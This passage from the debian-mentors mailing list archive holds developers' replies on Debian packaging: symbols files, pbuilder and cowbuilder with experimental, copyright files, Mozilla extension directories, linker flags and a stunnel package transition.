remains in its previous state. It happens to me a lot, and I usually only notice when lintian complains. And now that I look at the corresponding devscripts bug (#422450), I see there is an option to work around this crappy behaviour. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: Package uploaded with UNRELEASED distribution.
On Thu, Aug 20, 2009 at 04:54:29PM -0700, Russ Allbery wrote: Michal Čihař ni...@debian.org writes: Russ Allbery r...@debian.org napsal(a): We had a specific request for Lintian to not warn about UNRELEASED as the distribution so that people could run it on each build and know that any output meant a problem. Unfortunately, that creates the possibility for something like this to happen, since dput and dupload only look at the *.changes file and don't care about what's in the changelog, and Lintian's architecture makes it very hard for it to see a mismatch between the *.changes file and the package. Well for this case it would be enough to catch mismatch in changes which did contain untable as distribution, but UNRELEASED in the changes entry. Not sure how useful such check would be though. The difficulty is that Lintian checks binary packages, source packages, and changes files in isolation from each other, so there's no way in Lintian in its current architecture to recognize mismatches between two different types of package or between the *.changes file and one of the packages. No part of Lintian has the data from both at the same time. He meant that in this particular case, the UNRELEASED and unstabler discrepancy *is* in the .changes file. See http://packages.qa.debian.org/v/velvet/news/20090819T133220Z.html Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: different debian/symbols for 32 and 64 bit system?
On Thu, Jul 23, 2009 at 06:44:13PM +0200, Paul Wise wrote: On Thu, Jul 23, 2009 at 6:36 PM, Jaromír Mikešmira.mi...@seznam.cz wrote: I am not sure if I understand well your question. I've change nothing consciously I create new symbols file ... there were no one before my upgrade. Maybe you can point me somewhere to help me understand. Please read libpkg-guide and its two bug reports. I looked at your symbols files and saw lots of lines starting with #MISSING:. This indicates that some symbols have dissappeared from your library at some stage in the history of that symbols file. That means that the ABI changed without a corresponding change in the SONAME. This can be an RC bug in some situations (when the symbol is part of the public ABI, but not when it should never have been public in the first place). It can also (simply) be that the ABI is different depending on the architecture. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: how to fix dpkg-gensymbols difference on (arch)
On Wed, Jun 24, 2009 at 11:32:37PM +0900, Hideki Yamane henr...@debian.or.jp wrote: Hi mentors, I want to fix FTBFS: dpkg-gensymbols difference on alpha http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=519819 The easiest way is remove debian/libchasen2.symbols but I think there may be more better solution. So, how do I deal with this? You have two solutions: - Implement architecture specific symbol files. You have facilities like includes, so that it can be easier, but since there is a symbol missing, it might be painful. - Seeing what the symbols look like, it actually seems these symbols shouldn't be exported in the first place[1] It would fail to build on the architecture you use when building your packages, if you'd try to build with DEB_BUILD_OPTIONS=noopt (provided your debian/rules file does the right thing in such a case, i.e. switching to -O0 instead of -O2). Using a version script to filter these out could be a solution. See https://bugs.webkit.org/attachment.cgi?id=22106action=view , for example. I'd personally go for the second. Mike, also occasional chasen user. -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: how to fix dpkg-gensymbols difference on (arch)
On Wed, Jun 24, 2009 at 05:23:07PM +0200, Mike Hommey m...@glandium.org wrote: On Wed, Jun 24, 2009 at 11:32:37PM +0900, Hideki Yamane henr...@debian.or.jp wrote: Hi mentors, I want to fix FTBFS: dpkg-gensymbols difference on alpha http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=519819 The easiest way is remove debian/libchasen2.symbols but I think there may be more better solution. So, how do I deal with this? You have two solutions: - Implement architecture specific symbol files. You have facilities like includes, so that it can be easier, but since there is a symbol missing, it might be painful. - Seeing what the symbols look like, it actually seems these symbols shouldn't be exported in the first place[1] It would fail to build on the architecture you use when building your packages, if you'd try to build with DEB_BUILD_OPTIONS=noopt (provided your debian/rules file does the right thing in such a case, i.e. switching to -O0 instead of -O2). Using a version script to filter these out could be a solution. See https://bugs.webkit.org/attachment.cgi?id=22106action=view , for example. And a third solution, which would be ugly, IMHO, but should work and is probably the simpler one: Remove STL templates symbols from debian/libchasen2.symbols (The ones starting with _ZNSt and _ZSt). dpkg-gensymbols should add them without failing. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: multiple pbuilders (sid and hardy)
On Thu, Apr 30, 2009 at 11:14:59AM +0200, Michael Hanke michael.ha...@gmail.com wrote: On Thu, Apr 30, 2009 at 10:58:31AM +0200, Grammostola Rosea wrote: Hi, Is it possible to have multiple pbuilders for Sid and Hardy (ubuntu) on Debian? Yes. An easy way is to install Ubuntu's 'debootstrap' package instead of Debian's. If that is available you can simply specify Ubuntu releases in pbuilder's 'create' mode. No need for Ubuntu's deboostrap: http://packages.debian.org/sid/all/debootstrap/filelist -- /usr/share/debootstrap/scripts/hoary Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: debian/copyright verbosity
On Tue, Apr 14, 2009 at 05:25:04PM +1000, Ben Finney ben+deb...@benfinney.id.au wrote: Mike Hommey m...@glandium.org writes: On Tue, Apr 14, 2009 at 09:45:19AM +1000, Ben Finney wrote: I don't think it's acceptable to make false copyright claims in the ‘debian/copyright’ file. Are you volunteering to rewrite webkit's debian/copyright file ? No. Are you saying that file makes false claims? From your definition of false claims, yes. And you won't find *anyone* to write the debian/copyright file with the degree of information you'd like it to have. So I suggest you do it yourself. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: debian/copyright verbosity
On Tue, Apr 14, 2009 at 09:45:19AM +1000, Ben Finney wrote: Neither of these are true statements of the copyright; you have *altered* the copyright claim so that it now makes a false claim (e.g., you now state that ‘bar.c’ is “Copyright 2006 Mr. X”, which is contrary to what the original source claims). I don't think it's acceptable to make false copyright claims in the ‘debian/copyright’ file. Are you volunteering to rewrite webkit's debian/copyright file ? Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: Getting -m64 at the right time and place.
On Sat, Nov 15, 2008 at 12:37:55PM +0900, Charles Plessy wrote: However, as I do not understand the purpose of -D_FILE_OFFSET_BITS=64, I am worried it would be breaking maq on 32-bit arches to remove it. It will only break its ability to read large files ( 2GB). That is what _FILE_OFFSET_BITS is for. How can we have a configure file that does the right thing: -m64 only on 64-bit architectures? Do you really want -m64 at all ? It is only necessary if you want to build 64-bits binaries when running on a 32-bits kernel. Do you really want to build ppc64 binaries on ppc, and s390x binaries on s390 ? Wouldn't it be better to build such binaries respectively on ppc64 and s390x ? Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: RFS: flashblock -- mozilla extension that replaces flash
On Mon, Sep 22, 2008 at 08:54:03AM +1000, Ben Finney wrote: Philippe Coval [EMAIL PROTECTED] writes: I am looking for a sponsor for my package flashblock. Thanks for this ITP (bug#469906), I use the Flashblock plugin and find it very neat and useful. It builds these binary packages: flashblock - mozilla extension that replaces flash plugin by a button Please name the package as 'iceweasel-flashblock' (and/or 'iceape-flashblock'), to be consistent with many of the other IceWeasel plugin packages in Debian. mozilla-flashblock if it works in both iceweasel and iceape. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: RFS: mozvoikko - Finnish spell-checker extension for Iceweasel and Icedove
On Sat, Aug 02, 2008 at 09:39:38AM +0300, Heikki Mäntysaari wrote:
2008/7/28 Heikki Mäntysaari [EMAIL PROTECTED]:
So it doesn't seem to be possible to install this extension to just
one directory. Would it be a good solution if I install mozvoikko in
/usr/share/mozilla/extensions/{iceweasel_id}/{id} and create a symlink
from /usr/share/mozilla/extensions/{icedove_id}/{id} to that
directory?
--
-Heikki Mäntysaari
As there doesn't seem to be a better solution, I made a package which
installs Mozvoikko in
/usr/share/mozilla/extensions/{iceweasel_id}/{mozvoikko-id}.
Please don't. If you want only iceweasel, use
/usr/lib/iceweasel/extensions/{mozvoikko-id}
FWIW, I might change how things are supposed to be put in
/usr/share/mozilla/extensions, because the current way doesn't make any
sense. For now, just take the same approach as other extensions.
Sorry for the U-turn.
Mike
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: mentors.debian.net SSL certificate under Ubuntu?
On Sat, Jul 26, 2008 at 12:20:07AM +0200, Andreas Schildbach wrote: Hi there, Surfing to on my Ubuntu Hardy machine https://mentors.debian.net/ gives me the error mentors.debian.net uses an invalid security certificate. The certificate is not trusted because the issuer certificate is unknown. (Error code: sec_error_unknown_issuer) What is the recommended and most secure way to have the SSL certificate installed on Ubuntu Hardy (which I use for Debian packaging)? Install libnss3-1d from Debian unstable. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: RFS: mozvoikko - Finnish spell-checker extension for Iceweasel and Icedove
On Sat, Jul 19, 2008 at 06:15:08PM +0300, Heikki Mäntysaari wrote:
2008/7/6 Mike Hommey [EMAIL PROTECTED]:
- You really don't need to put a link in /usr/lib/iceweasel/extensions,
since you are depending on iceweasel 3, and this version will look
into /usr/share/mozilla/extensions.
Should this work with current iceweasel 3.0.1-1? I tried to install
mozvoikko in /usr/share/mozilla/extensions/{uuid} and
/usr/share/mozilla/extensions/[EMAIL PROTECTED], but none of
these worked. Only way to get it work was to install the extensions
files in
/usr/share/mozilla/extensions/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}/{uuid}.
But {ec8030f7-c20a-464f-9b0e-13a3a9e97384} is the uuid of Iceweasel,
so installing mozvoikko in that directory won't make it to work with
other mozilla products.
Apparently, that's the way it's supposed to work:
http://developer.mozilla.org/en/docs/Installing_extensions
*sigh* why didn't they just get things from /usr/share/mozilla/extensions,
while install.rdf contains everything already...
I'll discuss that with upstream.
Mike
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: Factorised code for adding a file in /etc/apache2/conf.d/ and restarting apache ?
On Mon, Jul 07, 2008 at 10:51:47PM +0900, Charles Plessy [EMAIL PROTECTED] wrote: Le Sun, Jul 06, 2008 at 11:05:27AM -0700, Russ Allbery a écrit : Stefan Fritsch [EMAIL PROTECTED] writes: On Saturday 05 July 2008, Charles Plessy wrote: - if yes add a link to a configuration file in /etc/apache2/conf.d You can add that file or the link unconditionally. That would really upset me if I were a systems administrator. Most of my Apache configurations have multiple virtual hosts, and having some package randomly add itself to the namespace of every virtual host I run, possibly taking over pages that were currently serving some other purpose, would be extremely annoying. I'd want at least a debconf prompt before something added itself to the global Apache configuration. Well, it definitely makes sense, but it makes me wonder if my goal is achievable. The frontend I package is as useful on purely local systems (a laptop for instance) as on servers (indeed if you search for `emboss explorer' you will find sites running it). So if the package does things automatically, it can annoy system administrators who run it on a dedicated web server. But if the package pulls apache2 and installs its configuration automatically, end users will benefit of it as just another graphical interface, with the only peculiarity that it needs a browser to be used. How can this conflict of interest be solved? EMBOSS explorer is a nice interface, and I really would like to provide to end users with no command-line interactions with the system. How about making it available only for localhost by default? Why not have your package create its own apache instance, with its own config and its own port ? [ Unfortunately, apache will also be running by itself, because we still lack something to handle that. Same applies with gnome-user-share ] Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: RFS: mozvoikko - Finnish spell-checker extension for Iceweasel and Icedove
On Sun, Jul 06, 2008 at 07:50:23PM +0300, Heikki Mäntysaari wrote: Thanks for your help. I uploaded new version to mentors.debian.net: http://mentors.debian.net/cgi-bin/sponsor-pkglist?action=details;package=mozvoikko I only took a quick look but here is what I have to say: - Don't depend on icedove 3, it won't be in the archive for months - You really don't need to put a link in /usr/lib/iceweasel/extensions, since you are depending on iceweasel 3, and this version will look into /usr/share/mozilla/extensions. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: RFS: mozvoikko - Finnish spell-checker extension for Iceweasel and Icedove
On Thu, Jul 03, 2008 at 07:06:21PM +0300, Heikki Mäntysaari wrote:
2008/7/1 Mike Hommey [EMAIL PROTECTED]:
Just generate one package, with symlinks in the proper directories. Take
a look at packages such as livehttpheaders or venkman.
Note that in the future, there will be a canonical place for extensions:
/usr/share/mozilla/extensions.
Mike
Do you mean /usr/share/mozilla-extensions dir? At least venkman is
installed in that directory.
I do mean /usr/share/mozilla/extensions. /usr/share/mozilla-extensions
is where I did put these shared files in my mozilla extensions packages,
and where symlinks in /usr/lib/$app/extensions point to.
/usr/share/mozilla/extensions is a new location that new upstream looks at.
That means iceweasel 3.0 does look into /usr/share/mozilla/extensions
too, and doesn't need a link in /usr/lib/iceweasel/extensions if the
shared files are in /usr/share/mozilla/extensions. It also means iceape
2 and icedove 3, when they will be available, will also look there.
Note that directory names in /usr/share/mozilla/extensions must contain
a '@' character (usually, that would be [EMAIL PROTECTED]) or be a
uuid between curly braces ({}).
Mike
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: RFS: mozvoikko - Finnish spell-checker extension for Iceweasel and Icedove
On Tue, Jul 01, 2008 at 08:46:49PM +0300, Heikki Mäntysaari wrote: 2008/7/1 Rene Engelhard [EMAIL PROTECTED]: Have you considered just putting the lib in the two packages and just don't build mozvoikko? (They have separate extension dirs anyway?) Thanks for your feedback! I decided to build 3 different packages because Icedove and Iceweasel can use same extension files. But maybe you are right, my packaging might be a bit confusing. And it may not be too ugly solution to install same little files in two different dirs (if user installs mozvoikko for both Iceweasel and Icedove)? I try upload a new version this week. Just generate one package, with symlinks in the proper directories. Take a look at packages such as livehttpheaders or venkman. Note that in the future, there will be a canonical place for extensions: /usr/share/mozilla/extensions. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: RFS: syx
On Fri, Jun 27, 2008 at 11:38:22AM -0500, Luca Bruno [EMAIL PROTECTED] wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Fri, 27 Jun 2008 00:04:19 +0200 Mike Hommey [EMAIL PROTECTED] wrote: I bet this thing builds using libtool, right ? libtool is known to be reordering gcc arguments, and with -Wl,--as-needed, that breaks everything, as it puts it at the end, making it useless. Mike Exactly. The problem is that I don't know how to put --as-needed before $AM_LDFLAGS from the configure script. Should I create a patch to fix the makefiles? The only way I found to fool libtool is to set CC to gcc -Wl,--as-needed. Another way is to patch libtool... Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: RFS: syx
On Thu, Jun 26, 2008 at 11:57:03PM -0500, Luca Bruno wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Thu, 26 Jun 2008 22:53:28 +0200 Jeffrey Ratcliffe [EMAIL PROTECTED] wrote: dpkg-shlibdeps: warning: debian/syx-gtk/usr/lib/syx/gtk/libsyx-gtk.so.0.0.0 shouldn't be linked with libgthread-2.0.so.0 (it uses none of its symbols). I've fixed this in the past with LDFLAGS=-Wl,-z,defs,--as-needed, but then here the package FTBFS. It seems the -Bsymbolic-functions flag is currently necessary. Perhaps someone here with more expertise than I have can advise how to fix this warning. I've tried with -Wl,--as-needed (-z defs will give compilation errors). The result is the same. objdump -x debian/tmp/usr/lib/syx/gtk/libsyx-gtk.so|grep NEEDED NEEDED libgthread-2.0.so.0 NEEDED librt.so.1 NEEDED libgtk-x11-2.0.so.0 NEEDED libgdk-x11-2.0.so.0 NEEDED libatk-1.0.so.0 NEEDED libgdk_pixbuf-2.0.so.0 NEEDED libm.so.6 NEEDED libpangocairo-1.0.so.0 NEEDED libpango-1.0.so.0 NEEDED libcairo.so.2 NEEDED libgobject-2.0.so.0 NEEDED libgmodule-2.0.so.0 NEEDED libdl.so.2 NEEDED libglib-2.0.so.0 NEEDED libpthread.so.0 NEEDED libc.so.6 I bet this thing builds using libtool, right ? libtool is known to be reordering gcc arguments, and with -Wl,--as-needed, that breaks everything, as it puts it at the end, making it useless. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: Building a package for experimental
On Wed, May 21, 2008 at 06:02:19PM +0200, Tobias Toedter [EMAIL PROTECTED] wrote: Hello all, I'm thinking about building one of my packages with a new feature enabled and would therefore prefer to upload to experimental instead of unstable. However, although I looked into the Developer's Reference and into Policy, I could not find an answer to the following question. Since experimental is not a full distribution, how should packages be built for experimental? Should I use pbuilder with unstable, but upload to experimental? That would have the advantage that users willing to test the new package can just install the package into their unstable distribution, without needing to pull in libraries which might have a newer version in experimental. The other option would be of course to use pbuilder with experimental and upload to experimental, so that the package gets linked with available experimental libraries as well -- that seems to be the cleaner approach to me. How are other people handling this? What I usually do is that I build my experimental packages against unstable, except if they *need* versions of some packages from experimental, in which case I take these. For example, current xulrunner in experimental is built against unstable build dependencies ; earlier, it needed cairo from experimental, in which case that was the only package from experimental I used at build time. Current iceweasel in experimental requires xulrunner from experimental, so, obviously, I build against it ;) Cheers, Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: RFS: chmsee (updated package)
On Sat, May 17, 2008 at 07:33:28PM +0800, LI Daobing (李道兵) wrote: Dear mentors, I am looking for a sponsor for the new version 1.0.1-1 of my package chmsee. It builds these binary packages: chmsee - A chm file viewer written in GTK+ this is a new upstream release, in this release, two problems have been fixed: 1. replace openssl with gcrypt, fix the imcompatiable between GPL and openssl 2. fix compile problem under xulrunner 1.9. currently the xulrunner in debian is still 1.8, so in this release, I compiled it with 1.8 I won't have time to look into the current package, but please note that xulrunner 1.9 will be going in unstable soonish (planned for May 25, but that may be delayed if there are ongoing transitions) I'll send a patch against version 1.0.1-1 to #480791 when it hits unstable, though. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: Check license and copyright of files in entire tree (was: Proposed new package, bugs-everywhere_0.0.193-1.1)
On Mon, Apr 21, 2008 at 11:27:18PM +1000, Ben Finney wrote: Emilio, and everyone: a reminder to please continue following URL:http://www.debian.org/MailingLists#codeofconduct. In particular, please don't send individual copies of messages also sent to the list, since I haven't asked for that. Emilio Pozuelo Monfort [EMAIL PROTECTED] writes: Ben Finney wrote: Good catch. I'll have to gather the copyright notices properly from the whole tree. Have a look at `licensecheck -R *` (in case you haven't yet), very useful script for these purposes. Indeed, I wasn't aware of that. In this case, it's even more useful for me to run: $ licensecheck --recursive --copyright . Just don't forget that it will skip a lot of file types by default. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: cowbuilder and --distribution experimental
On Sun, Apr 06, 2008 at 06:28:05PM +0900, Junichi Uekawa wrote: Hi, Heh, I guess we have a different definition of 'properly'. pbuilder experimental usage assumes we can install everything from experimental and get done with it, but I assume there are some packages which don't go along with each other well. But that shouldn't make pbuilder work and cowbuilder not work. I'm confused. I have the same problem with pbuilder... apt prefers packages from experimental over those from sid, while it should be the contrary, and the dummy package for build-dependencies would make sure the build dependencies are downloaded from experimental when needed (that's what versioned dependencies are for, aren't they?). Have you tried using 'pbuilder-satisfydepends-experimental' ? (man pbuilderrc) Is pbuilder-satisfydepends-experimental being used when running pbuilder create and pbuilder update ? Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: cowbuilder and --distribution experimental
On Sun, Apr 06, 2008 at 09:18:21AM +0900, Junichi Uekawa wrote: Hi, experimental is not a complete distribution. You cannot just use --distribution experimental. I think that you should use an unstable chroot and add to apt experimental sources. You will also have to provide a correct /etc/apt/preferences (otherwise, experimental repository will not be used). Actually, '--distribution experimental' is special-cased in pbuilder such that it should just work. '--distribution experimental' sets up internal flags such that it is interpreted as '--distribution sid' and special handling for experimental. Obviously, it doesn't. Because with properly set pinning, you wouldn't have a problem with e2fsprogs/libuuid1 (which happens when trying to install perl from experimental). Heh, I guess we have a different definition of 'properly'. pbuilder experimental usage assumes we can install everything from experimental and get done with it, but I assume there are some packages which don't go along with each other well. But that shouldn't make pbuilder work and cowbuilder not work. I'm confused. I have the same problem with pbuilder... apt prefers packages from experimental over those from sid, while it should be the contrary, and the dummy package for build-dependencies would make sure the build dependencies are downloaded from experimental when needed (that's what versioned dependencies are for, aren't they?). Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: cowbuilder and --distribution experimental
On Sat, Apr 05, 2008 at 01:57:24PM +0900, Junichi Uekawa wrote: Hi, Hi again mentors !!! I've now a strange problem creating an experimental COW image. I use cowbuilder --create --distribution experimental but I obtain an unmet error with e2fsprogs (PreDepends: libuuid1 (= 1.34-1)). libuuid1 package is correctly downloaded and configured on chroot environment :( Same error overriding EXTRAPACKAGES with =libuuid1. experimental is not a complete distribution. You cannot just use --distribution experimental. I think that you should use an unstable chroot and add to apt experimental sources. You will also have to provide a correct /etc/apt/preferences (otherwise, experimental repository will not be used). Actually, '--distribution experimental' is special-cased in pbuilder such that it should just work. '--distribution experimental' sets up internal flags such that it is interpreted as '--distribution sid' and special handling for experimental. Obviously, it doesn't. Because with properly set pinning, you wouldn't have a problem with e2fsprogs/libuuid1 (which happens when trying to install perl from experimental). Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: How to have automated versionning with the php5-cli (=XXX) | php5-cgi (=XXX) | libapache2-mod-php5 (=XXX)
On Tue, Jan 29, 2008 at 05:14:07PM +0800, Thomas Goirand [EMAIL PROTECTED]
wrote:
Hi,
I'm trying to build a package for eaccelerator. As most of the time, we
do put things in production on our servers BEFORE attempting to have
them sponsored into Debian, so there is less worries.
With this eaccelerator package, we had quite an issue the last time php5
was upgraded. When restarting apache, there was this warning:
PHP Warning: [eAccelerator] This build of eAccelerator was compiled
for PHP version 5.2.0-8+etch9. Rebuild it for your PHP version
(5.2.0-8+etch10) or download precompiled binaries.
so we couldn't restart apache without either deactivating eaccelerator,
or rebuilding it.
Of course, we could have write something like this:
Package: php5-eaccelerator
[...]
Depends: ${misc:Depends}, libapache2-mod-php5 (=5.2.0-8+etch9) |
php5-cgi (=5.2.0-8+etch9) | php5-cli (=5.2.0-8+etch9)
so then dependencies would have prevent upgrading php without an
up-to-date version of eaccelerator. This is quite fine for us in Etch,
as we can manage versions when they come out, and as there is not so
many updates (just some security one not so often). But this is
absolutely not manageable for having my package sponsored and uploaded
to SID.
So how can I make it so I have this php5 package version automated in my
dependencies?
Subsidiary question: Why does eaccelerator need to be updated for a minor
update of php (not even moving upstream version) ?
Mike
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: How to have automated versionning with the php5-cli (=XXX) | php5-cgi (=XXX) | libapache2-mod-php5 (=XXX)
On Tue, Jan 29, 2008 at 09:59:29PM +0800, Thomas Goirand [EMAIL PROTECTED]
wrote:
Mike Hommey wrote:
On Tue, Jan 29, 2008 at 05:14:07PM +0800, Thomas Goirand [EMAIL
PROTECTED] wrote:
Hi,
I'm trying to build a package for eaccelerator. As most of the time, we
do put things in production on our servers BEFORE attempting to have
them sponsored into Debian, so there is less worries.
With this eaccelerator package, we had quite an issue the last time php5
was upgraded. When restarting apache, there was this warning:
PHP Warning: [eAccelerator] This build of eAccelerator was compiled
for PHP version 5.2.0-8+etch9. Rebuild it for your PHP version
(5.2.0-8+etch10) or download precompiled binaries.
so we couldn't restart apache without either deactivating eaccelerator,
or rebuilding it.
Of course, we could have write something like this:
Package: php5-eaccelerator
[...]
Depends: ${misc:Depends}, libapache2-mod-php5 (=5.2.0-8+etch9) |
php5-cgi (=5.2.0-8+etch9) | php5-cli (=5.2.0-8+etch9)
so then dependencies would have prevent upgrading php without an
up-to-date version of eaccelerator. This is quite fine for us in Etch,
as we can manage versions when they come out, and as there is not so
many updates (just some security one not so often). But this is
absolutely not manageable for having my package sponsored and uploaded
to SID.
So how can I make it so I have this php5 package version automated in my
dependencies?
Subsidiary question: Why does eaccelerator need to be updated for a minor
update of php (not even moving upstream version) ?
Mike
ABI problem, or statically linked with some stuff I guess. I'm not 100%
sure, but I think that's the case. Anyway, it has been proven to be the
case (apache didn't restart). I'll ask the authors.
The error message sounds more like a really dumb version test, not even
trying to know the ABI differences.
Mike
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: *.commands file
On Sat, Dec 15, 2007 at 05:05:20PM +0100, Erik Schanze wrote: BTW: I was not able to use dupload for uploading of *.commands file, I used simple ftp client for it. Is there a more comfortable way? Try dcut. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: advice on maintainting packages on alioth ?
On Sat, Aug 18, 2007 at 01:36:30PM -0400, Felipe Sateler [EMAIL PROTECTED] wrote: Thomas Jollans wrote: Hello mentors, In future, I would like to maintain my packages in Mercurial (or git) repositories. It seams the best place for these to be would be alioth, but I'm not sure where is the best place -- should I rather request a private sub-directory or apply for collab-maint membership and upload packages there ? I have some doubts about collab-maint though: Maintenance is unlikely to be collaborative, and I'm not in NM, which pretty much takes care of the point of collab-maint as outlined on the wiki [1]. Also, I'm not sure how readily private hg/git sub-directories are granted to non-DDs. AFAIK, collab-maint does not have git/hg repos. It only has a svn one. If the package is unlikely to have co-maintainers, then I think it would be overkill to ask for a dedicated project. You may have more luck with any related projects (ie, if it is a perl app, asking the pkg-perl group). Erm, seeing how many collab-maint are visible on http://git.debian.org/ I guess collab-maint now has at least git repos... Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: RFS: gconf-cleaner - GConf database cleaner
On Fri, Aug 10, 2007 at 05:32:35PM +1000, Paul Wise [EMAIL PROTECTED] wrote: On 8/10/07, Julien Valroff [EMAIL PROTECTED] wrote: AUTHORS file doesn't need to be installed (debian/copyright covers it) Removed from the binary package. I must say I have hesitated as it was automatically added by dh_installdocs. As the copyright file is obvisouly present in all packages, couldn't we consider this as a bug in dh_installdocs? That was probably CDBS, not dh_installdocs. I don't think it is a bug, because not everyone lists the upstream authors in the copyright file. That not everyone lists the upstream authors in the copyright file, which is a bug in itself, doesn't make installing the AUTHORS file less a bug. What makes it less a bug is that authors are not necessarily copyright holders. Well, they are, but with copyright assigment, what ends up in the copyright file is not necessarily their names. For example, software with copyright assigned to the FSF will have the FSF as copyright holder listed in the copyright file, but a bunch of different authors. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: Creating /usr/bin/ entries to scripts the right way
On Mon, Jul 30, 2007 at 11:27:35AM +0530, Kumar Appaiah [EMAIL PROTECTED] wrote: On Mon, Jul 30, 2007 at 07:39:59AM +0200, Mike Hommey wrote: This is just the fine way. Or, for 2 lines, you can directly write them in debian/rules. BTW, I would recommend you to, and to hard code the python version in the script provided by the package instead of using pyversions at runtime : if your package is built for python 2.4 and 2.5, and is installed when python 2.6 becomes default, it will stop working. That's a good point. But I would like you to elaborate on this. 1. How do I put this in rules? Will this be OK: echo -e #!/bin/sh\nexec /usr/bin/python2.4 \ /usr/lib/python2.4/site-packages/HarvestMan/harvestman.py \[EMAIL PROTECTED] harvestman (It seems to dump the required thing!). 2. As you see, in the above string, I have hard coded python2.4. I guess, when Python 2.5 becomes current, I just make another upload with Python 2.5 as current. Is that correct? Well, you can use pyversions -d in debian/rules. You'll only have to ask for a binNMU when python 2.5 becomes current. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: [RFS] stunnel -- Universal SSL tunnel for network daemons
On Sat, Jul 28, 2007 at 09:51:29PM -0500, Luis Rodrigo Gallardo Cruz [EMAIL PROTECTED] wrote: On Sat, Jul 28, 2007 at 08:55:01PM +0200, Christoph Haas wrote: On Thu, Jul 26, 2007 at 05:51:18PM -0500, Luis Rodrigo Gallardo Cruz wrote: I am looking for a sponsor for the new version 2:4.20-1 of the package stunnel, which I'm adpoting. The syntax in the debian/changelog is not correct to close the bugs automatically. E.g. (Closes: stunnel4#419842) is not quite correct. See http://www.debian.org/doc/debian-policy/footnotes.html#f17 I appologize, my mail was amazingly incomplete. I somehow assumed everyone knew the situation. Debian currently has a stunnel package, containing upstream's version 3, and stunnel4 with, clearly, version 4. Both used to have the same maintainer and were orphaned at the same time. I took the ITA on both. Now, having stunnel 3 is suboptimal, since that branch has not seen an upstream update in about 4 years. Thus I decided to transtition stunnel to version 4, and to turn stunnel4 into a dummy upgrade package. This upload is the first part of that transition. The bugs I marked as stunel4#nn are not bugs in stunnel, but bugs in stunnel4 which this upload contains fixes for. I know they will not be automatically closed, but I do not want them to, as they do not belong (yet) to this package. My intention is to, after the upload, clone all the bugs in stunnel4 and reassign the clones to the newly uploaded stunnel, then manually close those 